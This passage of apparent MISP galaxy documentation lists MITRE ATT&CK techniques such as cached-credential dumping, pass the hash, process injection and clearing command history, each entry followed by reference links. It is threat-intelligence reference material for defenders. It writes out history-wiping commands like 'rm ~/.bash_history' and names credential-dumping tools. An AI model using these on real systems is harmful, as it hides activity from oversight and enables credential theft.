https://github.com/Neohapsis/creddump7

Disable Crypto Hardware - T1600.002

Adversaries disable a network device's dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.

Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable Crypto Hardware - T1600.002"*

Table 3881. Table References

Links
https://attack.mitre.org/techniques/T1600/002
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Cached Domain Credentials - T1003.005

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)

On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)

With SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.

Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)

The tag is: *misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005"*

Table 3882. Table References

Links
https://attack.mitre.org/techniques/T1003/005
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)
https://github.com/mattifestation/PowerSploit
https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials
https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html

Clear Command History - T1070.003

In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they’ve used before in different sessions.

Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.

Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data.(Citation: US-CERT-TA18-106A)

On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.

The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)

Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003"*

Table 3883. Table References

Links
https://attack.mitre.org/techniques/T1070/003
https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
https://www.us-cert.gov/ncas/alerts/TA18-106A

Exfiltration Over Bluetooth - T1011.001

Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.

Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001"*

Table 3884. Table References

Links
https://attack.mitre.org/techniques/T1011/001

Dead Drop Resolver - T1102.001

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001"*

Table 3885. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1102/001

Remote Desktop Protocol - T1021.001

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or

[Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001"*

Table 3886. Table References

Links
http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
https://attack.mitre.org/techniques/T1021/001
https://capec.mitre.org/data/definitions/555.html
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx

Internet Connection Discovery - T1016.001

Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.

Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.

The tag is: *misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001"*

Table 3887. Table References

Links
https://attack.mitre.org/techniques/T1016/001

Patch System Image - T1601.001

Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.

To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.

To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.

In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.

By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary's purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).

Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.

When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005).

When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001"*

Table 3888. Table References

Links
http://2015.zeronights.org/assets/files/05-Nosenko.pdf
https://attack.mitre.org/techniques/T1601/001
https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf
https://tools.cisco.com/security/center/resources/integrity_assurance.html#13

https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf
https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf
https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf

Exfiltration over USB - T1052.001

Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001"*

Table 3889. Table References

Links
https://attack.mitre.org/techniques/T1052/001

Downgrade System Image - T1601.002

Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)

On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.

Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).

The tag is: *misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002"*

Table 3890. Table References

Links
https://attack.mitre.org/techniques/T1601/002
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices

Windows Remote Management - T1021.006

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006"*

Table 3891. Table References

Links
http://msdn.microsoft.com/en-us/library/aa384426
https://attack.mitre.org/techniques/T1021/006
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
https://msdn.microsoft.com/en-us/library/aa394582.aspx
https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2

File Transfer Protocols - T1071.002

Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002"*

Table 3892. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1071/002

Invalid Code Signature - T1036.001

Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)

Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.

The tag is: *misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001"*

Table 3893. Table References

Links
https://attack.mitre.org/techniques/T1036/001
https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/

Local Data Staging - T1074.001

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"*

Table 3894. Table References

Links
https://attack.mitre.org/techniques/T1074/001
https://www.prevailion.com/darkwatchman-new-fileless-techniques/

Application Access Token - T1550.001

Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)

In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)

OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001"*

Table 3895. Table References

Links
https://attack.mitre.org/techniques/T1550/001
https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
https://capec.mitre.org/data/definitions/593.html
https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials
https://cloud.google.com/iam/docs/service-account-monitoring
https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html

https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration
https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/

SQL Stored Procedures - T1505.001

Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).

Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)

Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)

The tag is: *misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001"*

Table 3896. Table References

Links
https://attack.mitre.org/techniques/T1505/001
https://blog.netspi.com/attacking-sql-server-clr-assemblies/
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017
https://securelist.com/malicious-tasks-in-ms-sql-server/92167/

Archive via Utility - T1560.001

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.

Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. On Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, <code>xcopy</code> on Windows can copy files and directories with a variety of options.

Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)

The tag is: *misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001"*

Table 3897. Table References

Links
https://attack.mitre.org/techniques/T1560/001
https://en.wikipedia.org/wiki/List_of_file_signatures
https://lolbas-project.github.io/lolbas/Binaries/Diantz/
https://www.7-zip.org/
https://www.rarlab.com/
https://www.winzip.com/win/en/

Additional Cloud Credentials - T1098.001

Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

Adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)

In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001"*

Table 3898. Table References

Links
https://attack.mitre.org/techniques/T1098/001
https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add
https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/
https://expel.io/blog/finding-evil-in-aws/
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/
https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815

Compile After Delivery - T1027.004

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

The tag is: *misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004"*

Table 3899. Table References

Links
https://attack.mitre.org/techniques/T1027/004
https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf

Remote Data Staging - T1074.002

Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within

[cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002"*

Table 3900. Table References

Links
https://attack.mitre.org/techniques/T1074/002
https://content.fireeye.com/m-trends/rpt-m-trends-2020

Portable Executable Injection - T1055.002

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002"*

Table 3901. Table References

Links
https://attack.mitre.org/techniques/T1055/002
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Pass the Hash - T1550.002

Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002"*

Table 3902. Table References

Links
https://attack.mitre.org/techniques/T1550/002
https://capec.mitre.org/data/definitions/644.html
https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/

Archive via Library - T1560.002

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.

Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.

The tag is: *misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002"*

Table 3903. Table References

Links
https://attack.mitre.org/techniques/T1560/002
https://en.wikipedia.org/wiki/List_of_file_signatures
https://github.com/madler/zlib
https://libzip.org/
https://pypi.org/project/rarfile/

GUI Input Capture - T1056.002

Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)

The tag is: *misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002"*

Table 3904. Table References

Links
https://attack.mitre.org/techniques/T1056/002
https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
https://capec.mitre.org/data/definitions/659.html
https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
https://logrhythm.com/blog/do-you-trust-your-computer/
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Rename System Utilities - T1036.003

Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)

The tag is: *misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"*

Table 3905. Table References

Links
http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
https://attack.mitre.org/techniques/T1036/003
https://lolbas-project.github.io/
https://twitter.com/ItsReallyNick/status/1055321652777619457
https://www.f-secure.com/documents/996508/1030745/CozyDuke

Network Logon Script - T1037.003

Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.

Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Logon Script - T1037.003"*

Table 3906. Table References

Links
https://attack.mitre.org/techniques/T1037/003
https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008

Thread Execution Hijacking - T1055.003

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)

This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.

